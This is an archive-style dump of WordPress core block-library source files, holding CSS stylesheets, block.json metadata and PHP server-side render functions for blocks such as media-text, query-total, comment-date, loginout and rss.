.components-placeholder{align-items:center;border-radius:inherit;display:flex;height:100%;justify-content:center;min-height:48px;min-width:48px;padding:0;width:100%}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;margin:auto;padding:0;position:relative;width:48px}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{color:inherit}.block-library-site-logo__inspector-media-replace-container{position:relative}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-library-site-logo__inspector-media-replace-container img{aspect-ratio:1;border-radius:2px;box-shadow:inset 0 0 0 1px #0003;min-width:20px;width:20px}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{display:flex;height:40px;padding:6px 12px} query-total.php 0000644 00000004647 15237550572 0007571 0 ustar 00 <?php
/**
* Server-side rendering of the `core/query-total` block.
*
* @package WordPress
*/
/**
* Renders the `query-total` block on the server.
*
* @since 6.8.0
*
* @global WP_Query $wp_query WordPress Query object.
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
* @return string The rendered block content.
*/
function render_block_core_query_total( $attributes, $content, $block ) {
global $wp_query;
$wrapper_attributes = get_block_wrapper_attributes();
if ( $block->context['query']['inherit'] ?? false ) {
$query_to_use = $wp_query;
$current_page = max( 1, (int) get_query_var( 'paged', 1 ) );
} else {
$page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
$current_page = (int) ( $_GET[ $page_key ] ?? 1 );
$query_to_use = new WP_Query( build_query_vars_from_query_block( $block, $current_page ) );
}
$max_rows = $query_to_use->found_posts;
$posts_per_page = (int) $query_to_use->get( 'posts_per_page' );
// Calculate the range of posts being displayed.
$start = ( 0 === $max_rows ) ? 0 : ( ( $current_page - 1 ) * $posts_per_page + 1 );
$end = min( $start + $posts_per_page - 1, $max_rows );
// Prepare the display based on the `displayType` attribute.
$output = '';
switch ( $attributes['displayType'] ) {
case 'range-display':
if ( $start === $end ) {
$output = sprintf(
/* translators: 1: Start index of posts, 2: Total number of posts */
__( 'Displaying %1$s of %2$s' ),
$start,
$max_rows
);
} else {
$output = sprintf(
/* translators: 1: Start index of posts, 2: End index of posts, 3: Total number of posts */
__( 'Displaying %1$s – %2$s of %3$s' ),
$start,
$end,
$max_rows
);
}
break;
case 'total-results':
default:
// translators: %d: number of results.
$output = sprintf( _n( '%d result found', '%d results found', $max_rows ), $max_rows );
break;
}
return sprintf(
'<div %1$s>%2$s</div>',
$wrapper_attributes,
$output
);
}
/**
* Registers the `query-total` block.
*
* @since 6.8.0
*/
function register_block_core_query_total() {
register_block_type_from_metadata(
__DIR__ . '/query-total',
array(
'render_callback' => 'render_block_core_query_total',
)
);
}
add_action( 'init', 'register_block_core_query_total' );
media-text/style.min.css 0000644 00000004557 15237550572 0011267 0 ustar 00 .wp-block-media-text{box-sizing:border-box;direction:ltr;display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__media{align-self:start}.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__media,.wp-block-media-text>.wp-block-media-text__content,.wp-block-media-text>.wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__media{align-self:end}.wp-block-media-text>.wp-block-media-text__media{grid-column:1;grid-row:1;margin:0}.wp-block-media-text>.wp-block-media-text__content{direction:ltr;grid-column:2;grid-row:1;padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__media{grid-column:2;grid-row:1}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__content{grid-column:1;grid-row:1}.wp-block-media-text__media a{display:block}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media img{clip:rect(0,0,0,0);border:0;height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media{height:100%;min-height:250px;position:relative}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media img{height:100%;object-fit:cover;position:absolute;width:100%}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__content{grid-column:1;grid-row:2}} media-text/style-rtl.min.css 0000644 00000004557 15237550572 0012066 0 ustar 00 .wp-block-media-text{box-sizing:border-box;direction:ltr;display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__media{align-self:start}.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__media,.wp-block-media-text>.wp-block-media-text__content,.wp-block-media-text>.wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__media{align-self:end}.wp-block-media-text>.wp-block-media-text__media{grid-column:1;grid-row:1;margin:0}.wp-block-media-text>.wp-block-media-text__content{direction:rtl;grid-column:2;grid-row:1;padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__media{grid-column:2;grid-row:1}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__content{grid-column:1;grid-row:1}.wp-block-media-text__media a{display:block}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media img{clip:rect(0,0,0,0);border:0;height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media{height:100%;min-height:250px;position:relative}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media img{height:100%;object-fit:cover;position:absolute;width:100%}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__content{grid-column:1;grid-row:2}} media-text/style.css 0000644 00000006711 15237550572 0010477 0 ustar 00 /**
* Breakpoints & Media Queries
*/
.wp-block-media-text {
/*rtl:begin:ignore*/
direction: ltr;
/*rtl:end:ignore*/
display: grid;
grid-template-columns: 50% 1fr;
grid-template-rows: auto;
box-sizing: border-box;
}
.wp-block-media-text.has-media-on-the-right {
grid-template-columns: 1fr 50%;
}
.wp-block-media-text.is-vertically-aligned-top > .wp-block-media-text__content,
.wp-block-media-text.is-vertically-aligned-top > .wp-block-media-text__media {
align-self: start;
}
.wp-block-media-text > .wp-block-media-text__content,
.wp-block-media-text > .wp-block-media-text__media,
.wp-block-media-text.is-vertically-aligned-center > .wp-block-media-text__content,
.wp-block-media-text.is-vertically-aligned-center > .wp-block-media-text__media {
align-self: center;
}
.wp-block-media-text.is-vertically-aligned-bottom > .wp-block-media-text__content,
.wp-block-media-text.is-vertically-aligned-bottom > .wp-block-media-text__media {
align-self: end;
}
.wp-block-media-text > .wp-block-media-text__media {
/*rtl:begin:ignore*/
grid-column: 1;
grid-row: 1;
/*rtl:end:ignore*/
margin: 0;
}
.wp-block-media-text > .wp-block-media-text__content {
direction: ltr;
/*rtl:begin:ignore*/
grid-column: 2;
grid-row: 1;
/*rtl:end:ignore*/
padding: 0 8% 0 8%;
word-break: break-word;
}
.wp-block-media-text.has-media-on-the-right > .wp-block-media-text__media {
/*rtl:begin:ignore*/
grid-column: 2;
grid-row: 1;
/*rtl:end:ignore*/
}
.wp-block-media-text.has-media-on-the-right > .wp-block-media-text__content {
/*rtl:begin:ignore*/
grid-column: 1;
grid-row: 1;
/*rtl:end:ignore*/
}
.wp-block-media-text__media a {
display: block;
}
.wp-block-media-text__media img,
.wp-block-media-text__media video {
height: auto;
max-width: unset;
width: 100%;
vertical-align: middle;
}
/* `is-image-fill` is deprecated and the styles are kept for backwards compatibility. */
.wp-block-media-text.is-image-fill > .wp-block-media-text__media {
height: 100%;
min-height: 250px;
background-size: cover;
}
.wp-block-media-text.is-image-fill > .wp-block-media-text__media > a {
display: block;
height: 100%;
}
.wp-block-media-text.is-image-fill > .wp-block-media-text__media img {
position: absolute;
width: 1px;
height: 1px;
padding: 0;
margin: -1px;
overflow: hidden;
clip: rect(0, 0, 0, 0);
border: 0;
}
/* Image fill for versions 8 and onwards */
.wp-block-media-text.is-image-fill-element > .wp-block-media-text__media {
position: relative;
height: 100%;
min-height: 250px;
}
.wp-block-media-text.is-image-fill-element > .wp-block-media-text__media > a {
display: block;
height: 100%;
}
.wp-block-media-text.is-image-fill-element > .wp-block-media-text__media img {
position: absolute;
width: 100%;
height: 100%;
object-fit: cover;
}
/*
* Here we here not able to use a mobile first CSS approach.
* Custom widths are set using inline styles, and on mobile,
* we need 100% width, so we use important to overwrite the inline style.
* If the style were set on mobile first, on desktop styles,
* we would have no way of setting the style again to the inline style.
*/
@media (max-width: 600px) {
.wp-block-media-text.is-stacked-on-mobile {
grid-template-columns: 100% !important;
}
.wp-block-media-text.is-stacked-on-mobile > .wp-block-media-text__media {
grid-column: 1;
grid-row: 1;
}
.wp-block-media-text.is-stacked-on-mobile > .wp-block-media-text__content {
grid-column: 1;
grid-row: 2;
}
} media-text/editor.css 0000644 00000002014 15237550572 0010615 0 ustar 00 .wp-block-media-text__media {
position: relative;
}
.wp-block-media-text__media.is-transient img {
opacity: 0.3;
}
.wp-block-media-text__media .components-spinner {
position: absolute;
top: 50%;
left: 50%;
margin-top: -9px;
margin-left: -9px;
}
.wp-block-media-text .__resizable_base__ {
grid-column: 1/span 2;
grid-row: 2;
}
.wp-block-media-text .editor-media-container__resizer {
width: 100% !important;
}
.wp-block-media-text.is-image-fill .editor-media-container__resizer,
.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,
.wp-block-media-text.is-image-fill-element .editor-media-container__resizer,
.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration {
height: 100% !important;
}
.wp-block-media-text > .block-editor-block-list__layout > .block-editor-block-list__block {
max-width: unset;
}
/* Make the featured image placeholder the same height as the media selection area. */
.wp-block-media-text--placeholder-image {
min-height: 205px;
} media-text/editor-rtl.css 0000644 00000002016 15237550572 0011416 0 ustar 00 .wp-block-media-text__media {
position: relative;
}
.wp-block-media-text__media.is-transient img {
opacity: 0.3;
}
.wp-block-media-text__media .components-spinner {
position: absolute;
top: 50%;
right: 50%;
margin-top: -9px;
margin-right: -9px;
}
.wp-block-media-text .__resizable_base__ {
grid-column: 1/span 2;
grid-row: 2;
}
.wp-block-media-text .editor-media-container__resizer {
width: 100% !important;
}
.wp-block-media-text.is-image-fill .editor-media-container__resizer,
.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,
.wp-block-media-text.is-image-fill-element .editor-media-container__resizer,
.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration {
height: 100% !important;
}
.wp-block-media-text > .block-editor-block-list__layout > .block-editor-block-list__block {
max-width: unset;
}
/* Make the featured image placeholder the same height as the media selection area. */
.wp-block-media-text--placeholder-image {
min-height: 205px;
} media-text/editor-rtl.min.css 0000644 00000001525 15237550572 0012204 0 ustar 00 .wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill .editor-media-container__resizer,.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill-element .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.wp-block-media-text--placeholder-image{min-height:205px} media-text/style-rtl.css 0000644 00000006355 15237550572 0011302 0 ustar 00 /**
* Breakpoints & Media Queries
*/
.wp-block-media-text {
direction: ltr;
display: grid;
grid-template-columns: 50% 1fr;
grid-template-rows: auto;
box-sizing: border-box;
}
.wp-block-media-text.has-media-on-the-right {
grid-template-columns: 1fr 50%;
}
.wp-block-media-text.is-vertically-aligned-top > .wp-block-media-text__content,
.wp-block-media-text.is-vertically-aligned-top > .wp-block-media-text__media {
align-self: start;
}
.wp-block-media-text > .wp-block-media-text__content,
.wp-block-media-text > .wp-block-media-text__media,
.wp-block-media-text.is-vertically-aligned-center > .wp-block-media-text__content,
.wp-block-media-text.is-vertically-aligned-center > .wp-block-media-text__media {
align-self: center;
}
.wp-block-media-text.is-vertically-aligned-bottom > .wp-block-media-text__content,
.wp-block-media-text.is-vertically-aligned-bottom > .wp-block-media-text__media {
align-self: end;
}
.wp-block-media-text > .wp-block-media-text__media {
grid-column: 1;
grid-row: 1;
margin: 0;
}
.wp-block-media-text > .wp-block-media-text__content {
direction: rtl;
grid-column: 2;
grid-row: 1;
padding: 0 8% 0 8%;
word-break: break-word;
}
.wp-block-media-text.has-media-on-the-right > .wp-block-media-text__media {
grid-column: 2;
grid-row: 1;
}
.wp-block-media-text.has-media-on-the-right > .wp-block-media-text__content {
grid-column: 1;
grid-row: 1;
}
.wp-block-media-text__media a {
display: block;
}
.wp-block-media-text__media img,
.wp-block-media-text__media video {
height: auto;
max-width: unset;
width: 100%;
vertical-align: middle;
}
/* `is-image-fill` is deprecated and the styles are kept for backwards compatibility. */
.wp-block-media-text.is-image-fill > .wp-block-media-text__media {
height: 100%;
min-height: 250px;
background-size: cover;
}
.wp-block-media-text.is-image-fill > .wp-block-media-text__media > a {
display: block;
height: 100%;
}
.wp-block-media-text.is-image-fill > .wp-block-media-text__media img {
position: absolute;
width: 1px;
height: 1px;
padding: 0;
margin: -1px;
overflow: hidden;
clip: rect(0, 0, 0, 0);
border: 0;
}
/* Image fill for versions 8 and onwards */
.wp-block-media-text.is-image-fill-element > .wp-block-media-text__media {
position: relative;
height: 100%;
min-height: 250px;
}
.wp-block-media-text.is-image-fill-element > .wp-block-media-text__media > a {
display: block;
height: 100%;
}
.wp-block-media-text.is-image-fill-element > .wp-block-media-text__media img {
position: absolute;
width: 100%;
height: 100%;
object-fit: cover;
}
/*
* Here we here not able to use a mobile first CSS approach.
* Custom widths are set using inline styles, and on mobile,
* we need 100% width, so we use important to overwrite the inline style.
* If the style were set on mobile first, on desktop styles,
* we would have no way of setting the style again to the inline style.
*/
@media (max-width: 600px) {
.wp-block-media-text.is-stacked-on-mobile {
grid-template-columns: 100% !important;
}
.wp-block-media-text.is-stacked-on-mobile > .wp-block-media-text__media {
grid-column: 1;
grid-row: 1;
}
.wp-block-media-text.is-stacked-on-mobile > .wp-block-media-text__content {
grid-column: 1;
grid-row: 2;
}
} media-text/block.json 0000644 00000005560 15237550572 0010613 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/media-text",
"title": "Media & Text",
"category": "media",
"description": "Set media and words side-by-side for a richer layout.",
"keywords": [ "image", "video" ],
"textdomain": "default",
"attributes": {
"align": {
"type": "string",
"default": "none"
},
"mediaAlt": {
"type": "string",
"source": "attribute",
"selector": "figure img",
"attribute": "alt",
"default": "",
"role": "content"
},
"mediaPosition": {
"type": "string",
"default": "left"
},
"mediaId": {
"type": "number",
"role": "content"
},
"mediaUrl": {
"type": "string",
"source": "attribute",
"selector": "figure video,figure img",
"attribute": "src",
"role": "content"
},
"mediaLink": {
"type": "string"
},
"linkDestination": {
"type": "string"
},
"linkTarget": {
"type": "string",
"source": "attribute",
"selector": "figure a",
"attribute": "target"
},
"href": {
"type": "string",
"source": "attribute",
"selector": "figure a",
"attribute": "href",
"role": "content"
},
"rel": {
"type": "string",
"source": "attribute",
"selector": "figure a",
"attribute": "rel"
},
"linkClass": {
"type": "string",
"source": "attribute",
"selector": "figure a",
"attribute": "class"
},
"mediaType": {
"type": "string",
"role": "content"
},
"mediaWidth": {
"type": "number",
"default": 50
},
"mediaSizeSlug": {
"type": "string"
},
"isStackedOnMobile": {
"type": "boolean",
"default": true
},
"verticalAlignment": {
"type": "string"
},
"imageFill": {
"type": "boolean"
},
"focalPoint": {
"type": "object"
},
"useFeaturedImage": {
"type": "boolean",
"default": false
}
},
"usesContext": [ "postId", "postType" ],
"supports": {
"anchor": true,
"align": [ "wide", "full" ],
"html": false,
"__experimentalBorder": {
"color": true,
"radius": true,
"style": true,
"width": true,
"__experimentalDefaultControls": {
"color": true,
"radius": true,
"style": true,
"width": true
}
},
"color": {
"gradients": true,
"heading": true,
"link": true,
"__experimentalDefaultControls": {
"background": true,
"text": true
}
},
"spacing": {
"margin": true,
"padding": true
},
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"interactivity": {
"clientNavigation": true
},
"allowedBlocks": true
},
"editorStyle": "wp-block-media-text-editor",
"style": "wp-block-media-text"
}
media-text/editor.min.css 0000644 00000001523 15237550572 0011403 0 ustar 00 .wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill .editor-media-container__resizer,.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill-element .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.wp-block-media-text--placeholder-image{min-height:205px} loginout/style.min.css 0000644 00000000051 15237550572 0011047 0 ustar 00 .wp-block-loginout{box-sizing:border-box} loginout/style-rtl.min.css 0000644 00000000051 15237550572 0011646 0 ustar 00 .wp-block-loginout{box-sizing:border-box} loginout/style.css 0000644 00000000060 15237550572 0010265 0 ustar 00 .wp-block-loginout {
box-sizing: border-box;
} loginout/style-rtl.css 0000644 00000000060 15237550572 0011064 0 ustar 00 .wp-block-loginout {
box-sizing: border-box;
} loginout/block.json 0000644 00000002446 15237550572 0010412 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/loginout",
"title": "Login/out",
"category": "theme",
"description": "Show login & logout links.",
"keywords": [ "login", "logout", "form" ],
"textdomain": "default",
"attributes": {
"displayLoginAsForm": {
"type": "boolean",
"default": false
},
"redirectToCurrent": {
"type": "boolean",
"default": true
}
},
"example": {
"viewportWidth": 350
},
"supports": {
"anchor": true,
"className": true,
"color": {
"background": true,
"text": false,
"gradients": true,
"link": true
},
"spacing": {
"margin": true,
"padding": true,
"__experimentalDefaultControls": {
"margin": false,
"padding": false
}
},
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true
},
"interactivity": {
"clientNavigation": true
}
},
"style": "wp-block-loginout"
}
comment-date.php 0000644 00000003507 15237550572 0007652 0 ustar 00 <?php
/**
* Server-side rendering of the `core/comment-date` block.
*
* @package WordPress
*/
/**
* Renders the `core/comment-date` block on the server.
*
* @since 6.0.0
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
* @return string Return the post comment's date.
*/
function render_block_core_comment_date( $attributes, $content, $block ) {
if ( ! isset( $block->context['commentId'] ) ) {
return '';
}
$comment = get_comment( $block->context['commentId'] );
if ( empty( $comment ) ) {
return '';
}
$classes = ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) ? 'has-link-color' : '';
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) );
if ( isset( $attributes['format'] ) && 'human-diff' === $attributes['format'] ) {
// translators: %s: human-readable time difference.
$formatted_date = sprintf( __( '%s ago' ), human_time_diff( get_comment_date( 'U', $comment ) ) );
} else {
$formatted_date = get_comment_date( empty( $attributes['format'] ) ? '' : $attributes['format'], $comment );
}
$link = get_comment_link( $comment );
if ( ! empty( $attributes['isLink'] ) ) {
$formatted_date = sprintf( '<a href="%1s">%2s</a>', esc_url( $link ), $formatted_date );
}
return sprintf(
'<div %1$s><time datetime="%2$s">%3$s</time></div>',
$wrapper_attributes,
esc_attr( get_comment_date( 'c', $comment ) ),
$formatted_date
);
}
/**
* Registers the `core/comment-date` block on the server.
*
* @since 6.0.0
*/
function register_block_core_comment_date() {
register_block_type_from_metadata(
__DIR__ . '/comment-date',
array(
'render_callback' => 'render_block_core_comment_date',
)
);
}
add_action( 'init', 'register_block_core_comment_date' );
rss/style.min.css 0000644 00000001214 15237550572 0010020 0 ustar 00 ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;padding:0}ul.wp-block-rss.is-grid li{margin:0 1em 1em 0;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}.wp-block-rss{box-sizing:border-box;list-style:none;padding:0} rss/style-rtl.min.css 0000644 00000001214 15237550572 0010617 0 ustar 00 ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;padding:0}ul.wp-block-rss.is-grid li{margin:0 0 1em 1em;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}.wp-block-rss{box-sizing:border-box;list-style:none;padding:0} rss/style.css 0000644 00000005033 15237550572 0007241 0 ustar 00 /**
* Typography
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoints & Media Queries
*/
/**
* Converts a hex value into the rgb equivalent.
*
* @param {string} hex - the hexadecimal value to convert
* @return {string} comma separated rgb values
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Breakpoint mixins
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
/**
* Creates a checkerboard pattern background to indicate transparency.
* @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px.
*/
ul.wp-block-rss.alignleft {
/*rtl:ignore*/
margin-right: 2em;
}
ul.wp-block-rss.alignright {
/*rtl:ignore*/
margin-left: 2em;
}
ul.wp-block-rss.is-grid {
display: flex;
flex-wrap: wrap;
padding: 0;
}
ul.wp-block-rss.is-grid li {
margin: 0 1em 1em 0;
width: 100%;
}
@media (min-width: 600px) {
ul.wp-block-rss.columns-2 li {
width: calc(100% / 2 - 1em);
}
ul.wp-block-rss.columns-3 li {
width: calc(100% / 3 - 1em);
}
ul.wp-block-rss.columns-4 li {
width: calc(100% / 4 - 1em);
}
ul.wp-block-rss.columns-5 li {
width: calc(100% / 5 - 1em);
}
ul.wp-block-rss.columns-6 li {
width: calc(100% / 6 - 1em);
}
}
.wp-block-rss__item-publish-date,
.wp-block-rss__item-author {
display: block;
font-size: 0.8125em;
}
.wp-block-rss {
box-sizing: border-box;
list-style: none;
padding: 0;
} rss/editor.css 0000644 00000000323 15237550572 0007364 0 ustar 00 .wp-block-rss li a > div {
display: inline;
}
.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input {
flex: 1 1 auto;
}
.wp-block-rss .wp-block-rss {
all: inherit;
margin: 0;
padding: 0;
} rss/editor-rtl.css 0000644 00000000323 15237550572 0010163 0 ustar 00 .wp-block-rss li a > div {
display: inline;
}
.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input {
flex: 1 1 auto;
}
.wp-block-rss .wp-block-rss {
all: inherit;
margin: 0;
padding: 0;
} rss/editor-rtl.min.css 0000644 00000000260 15237550572 0010745 0 ustar 00 .wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{flex:1 1 auto}.wp-block-rss .wp-block-rss{all:inherit;margin:0;padding:0} rss/style-rtl.css 0000644 00000004771 15237550572 0010050 0 ustar 00 /**
* Typography
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoints & Media Queries
*/
/**
* Converts a hex value into the rgb equivalent.
*
* @param {string} hex - the hexadecimal value to convert
* @return {string} comma separated rgb values
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Breakpoint mixins
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
/**
* Creates a checkerboard pattern background to indicate transparency.
* @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px.
*/
ul.wp-block-rss.alignleft {
margin-right: 2em;
}
ul.wp-block-rss.alignright {
margin-left: 2em;
}
ul.wp-block-rss.is-grid {
display: flex;
flex-wrap: wrap;
padding: 0;
}
ul.wp-block-rss.is-grid li {
margin: 0 0 1em 1em;
width: 100%;
}
@media (min-width: 600px) {
ul.wp-block-rss.columns-2 li {
width: calc(100% / 2 - 1em);
}
ul.wp-block-rss.columns-3 li {
width: calc(100% / 3 - 1em);
}
ul.wp-block-rss.columns-4 li {
width: calc(100% / 4 - 1em);
}
ul.wp-block-rss.columns-5 li {
width: calc(100% / 5 - 1em);
}
ul.wp-block-rss.columns-6 li {
width: calc(100% / 6 - 1em);
}
}
.wp-block-rss__item-publish-date,
.wp-block-rss__item-author {
display: block;
font-size: 0.8125em;
}
.wp-block-rss {
box-sizing: border-box;
